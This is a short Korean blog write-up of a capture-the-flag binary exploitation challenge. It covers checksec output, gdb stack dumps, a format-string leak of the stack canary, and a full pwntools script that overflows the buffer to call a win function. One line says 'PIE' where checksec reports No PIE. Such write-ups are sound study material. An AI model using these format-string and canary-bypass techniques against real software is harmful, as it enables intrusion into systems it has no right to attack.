옛날 문제 정리..
$./checksec-1.6/checksec --file ./chall
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./chall
뭐,, 문제 이름 상, canary found말고는 흥미로운게 없다. PIE라 win code 호출가능
You can't overwrite return address if canary is enabled.
Do you agree with me? : %6$p
Breakpoint 3, 0x00000000004012b0 in main ()
(gdb) x/10gx $rsp
0x7fffffffddb0: 0x0000000070243625 0x0000000000401110
0x7fffffffddc0: 0x00007fffffffdeb0 0x8db29cf5a8952900
0x7fffffffddd0: 0x0000000000401300 0x00007ffff7821c87
0x7fffffffdde0: 0x0000000000000001 0x00007fffffffdeb8
0x7fffffffddf0: 0x000000010000c000 0x0000000000401254
(gdb) x/s 0x7fffffffddb0
0x7fffffffddb0: "%6$p"
(gdb) c
Continuing.
0x70243625
x86_64sysv abi상 calling convetion이 < rdi, rsi, rdx, rcx, r8, r9, stack > 임 (x86_64 syscall 규정과 다름.)
printf(format)같은 경우 %num$p 표기법에서 num이 rsi부터 1을 의미하기 때문에 %6$p 번 부터 stack을 가르키게됨
딱 봐도 0x30f02af4d2f18e00 이게 까나리처럼 보이지만,
정확하게 알려면 "mov rax,QWORD PTR fs:0x28" 이 rax를 어디에 저장하는지 보면 canary 위치알 수 있음
0x30f02af4d2f18e00 이 카나리 이거 릭해서, 익스 짜면됨
이게 카나리가 또 사실상 낮은 주소상으로 0x00 0x8e 0f1 ... 식으로 저장되어 있어서 현재 문제에서는 그렇지 않지만, 0x00만 살짝덮어서 leak할 수 도 있겠다라는 생각이 들었음
from pwn import *
win=p64(0x401245)
pc = process('./a.out')
print(pc.recvuntil(': '))
pc.sendline(b"%9$p")
canary=int(pc.recvuntil(b"\n")[:-1],16)
log.info('Canary : '+hex(canary))
pc.sendline(b'A'*24+p64(canary)+p64(0)+win)
#gdb.attach(pc,'b *0x4012e8')
pc.sendline(b'YES')
pc.interactive()
'CTF Writeup' 카테고리의 다른 글
| 시스템 해킹 기본 정리 (0) | 2025.06.19 |
|---|---|
| [DreamHack] SROP (0) | 2025.01.11 |